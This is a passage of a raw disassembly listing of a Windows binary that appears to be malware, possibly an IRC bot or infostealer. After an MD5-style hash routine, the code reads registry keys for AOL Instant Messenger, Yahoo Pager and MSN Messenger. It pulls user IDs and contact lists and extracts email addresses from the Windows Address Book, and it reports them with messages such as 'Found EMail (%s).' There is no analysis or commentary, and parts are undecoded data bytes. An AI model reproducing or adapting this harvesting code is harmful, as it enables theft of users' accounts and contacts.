		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434810
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433B50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434700	proc near		; CODE XREF: sub_433AC0+14p
					; sub_433AC0+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_434747
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43471A:				; CODE XREF: sub_434700+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43471A
		pop	esi


loc_434747:				; CODE XREF: sub_434700+7j
		pop	edi
		retn
sub_434700	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433B50+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_4347BA
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_43478D:				; CODE XREF: sub_434770+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_43478D
		pop	edi
		pop	esi


loc_4347BA:				; CODE XREF: sub_434770+7j
		pop	ebp
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4347E0	proc near		; CODE XREF: sub_4339E0+4Ep
					; sub_4339E0+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_4347FC
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_4347F3:				; CODE XREF: sub_4347E0+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_4347F3


loc_4347FC:				; CODE XREF: sub_4347E0+7j
		pop	esi
		retn
sub_4347E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434810	proc near		; CODE XREF: sub_433AC0+60p
					; sub_433B50+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43483E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43483E:				; CODE XREF: sub_434810+6j
		retn
sub_434810	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434850	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_434850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_434850	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434940:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BE96
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_4368E0
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434EF8
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_43689A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 0C83D89C0h
		dd 0F30050E3h, 5794BEABh, 4E8B0044h, 4C8D51FCh,	6EE85024h
		dd 8DFFFCCEh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCACFh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CAB9E850h
		dd 0FF50FFFCh, 4C483D7h, 323AE850h, 83907781h, 0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 267138E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0CCBF0000h, 0F30050E3h
		dd 0E3C8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D1068h
		dd 694F8D00h, 0FCCA1EE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D607568h, 0CD7AE800h, 0C483FFFCh, 90006A1Ch
		dd 55B799E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 250B4ACh
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0B466E890h
		dd 0C0850251h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 266FC8E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0CCBF0000h, 0F30050E3h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 58B674E8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 53E85210h, 900255B6h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D10h, 0E8694F8Dh,	0FFFCC873h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D6075h, 0FCCBCFE8h, 1CC483FFh, 1024548Bh
		dd 0EBE89052h, 8B0255B5h, 8B24247Ch, 47142444h,	7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC579E8h
		dd 10C683FFh, 59E4FE81h, 8C0F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 7068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A2Ch, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 76EDE890h, 8C8D777Fh, 2E824h, 5B646800h
		dd 0F08B0044h, 6A1C6851h, 90560044h, 266E50E8h,	3E4C6800h
		dd 0E8560044h, 7780A2D0h, 83F88B90h, 0FF851CC4h, 8D577574h
		dd 802494h, 646A0000h, 56E89052h, 837780BEh, 0C0850CC4h
		dd 448D5374h, 4687C24h,	5000446Ah, 2EEEE890h, 0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 69E86851h, 4A8D0044h
		dd 0C741E869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D607568h, 0CA96E800h, 0C483FFFCh, 0E8905718h
		dd 7780BCF5h, 8504C483h, 560A74F6h, 7F7452E8h, 0C4839077h
		dd 24448B04h, 0E890501Ch, 255B49Ah, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4469C068h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 6A2C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 0E8900000h, 777F75DFh, 0E824948Dh, 68000002h, 4469B8h
		dd 6852F08Bh, 4469A8h, 42E89056h, 6800266Dh, 443E4Ch, 0C1E89056h
		dd 8B7780A1h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80BD48E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44698C68h
		dd 0E1E85100h, 9077812Dh, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 446970h, 0E8694B8Dh, 0FFFCC633h
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D6075h, 0FCC98FE8h
		dd 18C483FFh, 0BBEFE857h, 83907780h, 0F68504C4h, 90560A74h
		dd 7F734AE8h, 4C48377h,	1C24548Bh, 93E89052h, 8D0255B3h
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 33E8FFFFh, 0E9FFFCC3h
		dd 184h
; ---------------------------------------------------------------------------


loc_434EF8:				; CODE XREF: ___:00434981j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43507C
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 29C0269h
		test	eax, eax
		jnz	loc_43507C
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446908
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 2970000h
		nop
		test	eax, eax
		jz	short loc_434F82
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2990272h
		jmp	loc_43507C
; ---------------------------------------------------------------------------


loc_434F82:				; CODE XREF: ___:00434F70j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4468FC
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 29C0269h
		test	eax, eax
		jnz	loc_43507C
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2970000h
		test	eax, eax
		jz	short loc_435039
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_43507C
; ---------------------------------------------------------------------------


loc_435039:				; CODE XREF: ___:0043502Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_43507C:				; CODE XREF: ___:00434F0Aj
					; ___:00434F2Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435280	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435280
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
sub_435280	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435320:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4355BE
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 29C0269h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_4355BE
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F30
		push	eax
		call	near ptr 2970000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2990272h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 28F0000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 27B0000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_4353F9
		push	edi
		nop
		call	near ptr 28D0809h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_4353F9:				; CODE XREF: ___:004353E1j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27B06D2h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435429
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435429:				; CODE XREF: ___:0043540Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_4354C8
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_43546B:				; CODE XREF: ___:004354BEj
		xor	eax, eax
		mov	ecx, edi


loc_43546F:				; CODE XREF: ___:0043547Fj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_43546F
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_43546B
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_4354C8:				; CODE XREF: ___:00435457j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 27B087Ah
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 29C0269h
		nop
		test	eax, eax
		jnz	loc_4355BE
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435517:				; CODE XREF: ___:004355AEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A48
		push	ecx
		call	ebx ; sub_69BB85
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2970000h
		test	eax, eax
		jnz	short loc_4355B3
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A3C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 28C1E38h
		nop
		jmp	loc_435517
; ---------------------------------------------------------------------------


loc_4355B3:				; CODE XREF: ___:00435573j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2990272h


loc_4355BE:				; CODE XREF: ___:00435344j
					; ___:00435374j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435680	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435680
		mov	eax, large fs:0
		push	eax
